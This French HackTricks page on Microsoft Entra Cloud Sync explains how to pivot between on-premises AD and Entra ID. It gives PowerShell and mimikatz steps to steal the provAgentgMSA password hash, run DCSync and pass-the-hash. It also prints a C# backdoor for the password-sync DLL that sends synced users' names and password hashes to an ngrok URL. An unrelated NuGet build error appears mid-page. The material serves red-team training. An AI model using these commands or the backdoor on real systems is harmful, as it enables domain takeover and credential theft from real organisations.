Az - Cloud Sync

Reading time: 10 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Informations de base

Cloud Sync est essentiellement la nouvelle façon d'Azure de synchroniser les utilisateurs d'AD dans Entra ID.

Selon la documentation : Microsoft Entra Cloud Sync est une nouvelle offre de Microsoft conçue pour répondre et atteindre vos objectifs d'identité hybride pour la synchronisation des utilisateurs, groupes et contacts vers Microsoft Entra ID. Cela est accompli en utilisant l'agent de provisionnement cloud Microsoft Entra au lieu de l'application Microsoft Entra Connect. Cependant, il peut être utilisé en parallèle avec Microsoft Entra Connect Sync.

Principaux générés

Pour que cela fonctionne, certains principaux sont créés à la fois dans Entra ID et le répertoire sur site :

  • Dans Entra ID, l'utilisateur On-Premises Directory Synchronization Service Account (ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com) est créé avec le rôle Directory Synchronization Accounts (d29b2b05-8046-44ba-8758-1e26182fcf32).

warning

Ce rôle avait beaucoup de permissions privilégiées et pouvait être utilisé pour escalader les privilèges même jusqu'à l'administrateur global. Cependant, Microsoft a décidé de supprimer tous les privilèges de ce rôle et de lui assigner juste un nouveau microsoft.directory/onPremisesSynchronization/standard/read qui ne permet pas vraiment d'effectuer d'action privilégiée (comme modifier le mot de passe ou les attributs d'un utilisateur ou ajouter une nouvelle crédential à un SP).

  • Dans Entra ID, le groupe AAD DC Administrators est également créé sans membres ni propriétaires. Ce groupe est utile si Microsoft Entra Domain Services est utilisé.

  • Dans l'AD, soit le compte de service provAgentgMSA est créé avec un SamAccountName comme pGMSA_<id>$@domain.com (Get-ADServiceAccount -Filter * | Select Name,SamAccountName), soit un personnalisé avec ces permissions sont nécessaires. En général, le par défaut est créé.

warning

Parmi d'autres permissions, le compte de service provAgentgMSA a des permissions DCSync, permettant à quiconque qui le compromet de compromettre l'ensemble du répertoire. Pour plus d'informations sur DCSync, consultez ceci.

note

Par défaut, les utilisateurs de groupes privilégiés connus comme Domain Admins avec l'attribut adminCount à 1 ne sont pas synchronisés avec Entra ID pour des raisons de sécurité. Cependant, d'autres utilisateurs qui font partie de groupes privilégiés sans cet attribut ou qui se voient attribuer des privilèges élevés directement peuvent être synchronisés.

Synchronisation des mots de passe

La section est très similaire à celle de :

Az - Connect Sync

  • La synchronisation des hachages de mots de passe peut être activée afin que les utilisateurs puissent se connecter à Entra ID en utilisant leurs mots de passe d'AD. De plus, chaque fois qu'un mot de passe est modifié dans AD, il sera mis à jour dans Entra ID.
  • Le retour de mot de passe peut également être activé, permettant aux utilisateurs de modifier leur mot de passe dans Entra ID en synchronisant automatiquement leur mot de passe dans le domaine sur site. Mais selon la documentation actuelle, il est nécessaire d'utiliser l'agent Connect, alors jetez un œil à la section Az Connect Sync pour plus d'informations.
  • Le retour de groupes : Cette fonctionnalité permet aux adhésions de groupe d'Entra ID d'être synchronisées vers l'AD sur site. Cela signifie que si un utilisateur est ajouté à un groupe dans Entra ID, il sera également ajouté au groupe correspondant dans l'AD.

Pivotement

AD --> Entra ID

  • Si les utilisateurs AD sont synchronisés de l'AD vers Entra ID, le pivotement de l'AD vers Entra ID est simple, il suffit de compromettre le mot de passe d'un utilisateur ou de changer le mot de passe d'un utilisateur ou de créer un nouvel utilisateur et d'attendre qu'il soit synchronisé dans le répertoire Entra ID (généralement seulement quelques minutes).

Ainsi, vous pourriez par exemple

  • Compromettre le compte provAgentgMSA, effectuer une attaque DCSync, craquer le mot de passe d'un utilisateur et ensuite l'utiliser pour se connecter à Entra ID.
  • Juste créer un nouvel utilisateur dans l'AD, attendre qu'il soit synchronisé dans Entra ID et ensuite l'utiliser pour se connecter à Entra ID.
  • Modifier le mot de passe d'un utilisateur dans l'AD, attendre qu'il soit synchronisé dans Entra ID et ensuite l'utiliser pour se connecter à Entra ID.

Pour compromettre les identifiants de provAgentgMSA :

powershell
# Enumerate provAgentgMSA account
Get-ADServiceAccount -Filter * -Server domain.local
# Find who can read the password of the gMSA (usually only the DC computer account)
Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties * -Server domain.local | selectPrincipalsAllowedToRetrieveManagedPassword

# You need to perform a PTH with the hash of the DC computer account next. For example using mimikatz:
lsadump::dcsync /domain:domain.local /user:<dc-name>$
sekurlsa::pth /user:<dc-name>$ /domain:domain.local /ntlm:<hash> /run:"cmd.exe"

# Or you can change who can read the password of the gMSA account to all domain admins for example:
Set-ADServiceAccount -Identity 'pGMSA_<id>$' -PrincipalsAllowedToRetrieveManagedPassword 'Domain Admins'

# Read the password of the gMSA
$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword'

#Install-Module -Name DSInternals
#Import-Module DSInternals
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword

Maintenant, vous pourriez utiliser le hachage du gMSA pour effectuer une attaque Pass-the-Hash contre Entra ID en utilisant le compte provAgentgMSA et maintenir la persistance en étant capable d'effectuer des attaques DCSync contre l'AD.

Pour plus d'informations sur la façon de compromettre un Active Directory, consultez :

Active Directory Methodology - HackTricks

note

Notez qu'il n'y a aucun moyen de donner des rôles Azure ou EntraID aux utilisateurs synchronisés en fonction de leurs attributs, par exemple dans les configurations de Cloud Sync. Cependant, afin d'accorder automatiquement des permissions aux utilisateurs synchronisés, certains groupes Entra ID de l'AD pourraient se voir accorder des permissions afin que les utilisateurs synchronisés à l'intérieur de ces groupes les reçoivent également ou des groupes dynamiques pourraient être utilisés, donc vérifiez toujours les règles dynamiques et les moyens potentiels de les abuser :

Az - Dynamic Groups Privesc

Concernant la persistance, cet article de blog suggère qu'il est possible d'utiliser dnSpy pour créer une porte dérobée dans le dll Microsoft.Online.Passwordsynchronisation.dll situé dans C:\Program Files\Microsoft Azure AD Sync\Bin qui est utilisé par l'agent Cloud Sync pour effectuer la synchronisation des mots de passe, le rendant capable d'exfiltrer les hachages de mots de passe des utilisateurs synchronisés vers un serveur distant. Les hachages sont générés à l'intérieur de la classe PasswordHashGenerator et l'article de blog suggère d'ajouter du code afin que la classe ressemble à (notez l'utilisation de use System.Net et de WebClient pour exfiltrer les hachages de mots de passe) :

csharp
using System;
using System.Net;
using Microsoft.Online.PasswordSynchronization.DirectoryReplicationServices;

namespace Microsoft.Online.PasswordSynchronization
{
// Token: 0x0200003E RID: 62
public class PasswordHashGenerator : ClearPasswordHashGenerator
{
// Token: 0x06000190 RID: 400 RVA: 0x00006DFC File Offset: 0x00004FFC
public override PasswordHashData CreatePasswordHash(ChangeObject changeObject)
{
PasswordHashData passwordHashData = base.CreatePasswordHash(changeObject);
try
{
using (WebClient webClient = new WebClient())
{
webClient.DownloadString("https://786a39c7cb68.ngrok-free.app?u=" + changeObject.DistinguishedName + "&p=" + passwordHashData.Hash);
}
}
catch (Exception)
{
}
return new PasswordHashData
{
Hash = OrgIdHashGenerator.Generate(passwordHashData.Hash),
RawHash = passwordHashData.RawHash
};
}
}
}

NuGet Package restore failed for project AzTokenFinder: Unable to find version '4.3.2' of package 'System.Security.Cryptography.X509Certificates'. C:\Program Files (x86)\Microsoft SDKs\NuGetPackages: Package 'System.Security.Cryptography.X509Certificates.4.3.2' is not found on source 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages'. . Please see Error List window for detailed warnings and errors.

Entra ID --> AD

  • Si Password Writeback est activé, vous pourriez modifier le mot de passe de certains utilisateurs depuis Entra ID et si vous avez accès au réseau AD, vous connecter en utilisant ces identifiants. Pour plus d'informations, consultez la section Az Connect Sync car la réécriture de mot de passe est configurée à l'aide de cet agent.

  • À ce stade, Cloud Sync permet également "Microsoft Entra ID to AD", mais après trop de temps, j'ai constaté qu'il ne peut PAS synchroniser les utilisateurs d'EntraID vers AD et qu'il ne peut synchroniser que les utilisateurs d'EntraID qui ont été synchronisés avec le hachage de mot de passe et proviennent d'un domaine appartenant à la même forêt de domaine que le domaine vers lequel nous synchronisons, comme vous pouvez le lire dans https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits:

  • Ces groupes ne peuvent contenir que des utilisateurs synchronisés sur site et / ou des groupes de sécurité créés dans le cloud supplémentaires.
  • Les comptes d'utilisateur sur site qui sont synchronisés et sont membres de ce groupe de sécurité créé dans le cloud peuvent provenir du même domaine ou de domaines différents, mais ils doivent tous provenir de la même forêt.

Ainsi, la surface d'attaque (et l'utilité) de ce service est considérablement réduite, car un attaquant devrait compromettre l'AD initial d'où les utilisateurs sont synchronisés pour compromettre un utilisateur dans l'autre domaine (et les deux doivent apparemment être dans la même forêt).

Enumeration

bash
# Check for the gMSA SA
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"

# Get all the configured cloud sync agents (usually one per on-premise domain)
## In the machine name of each you can infer the name of the domain
az rest \
--method GET \
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
--headers "Content-Type=application/json"

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks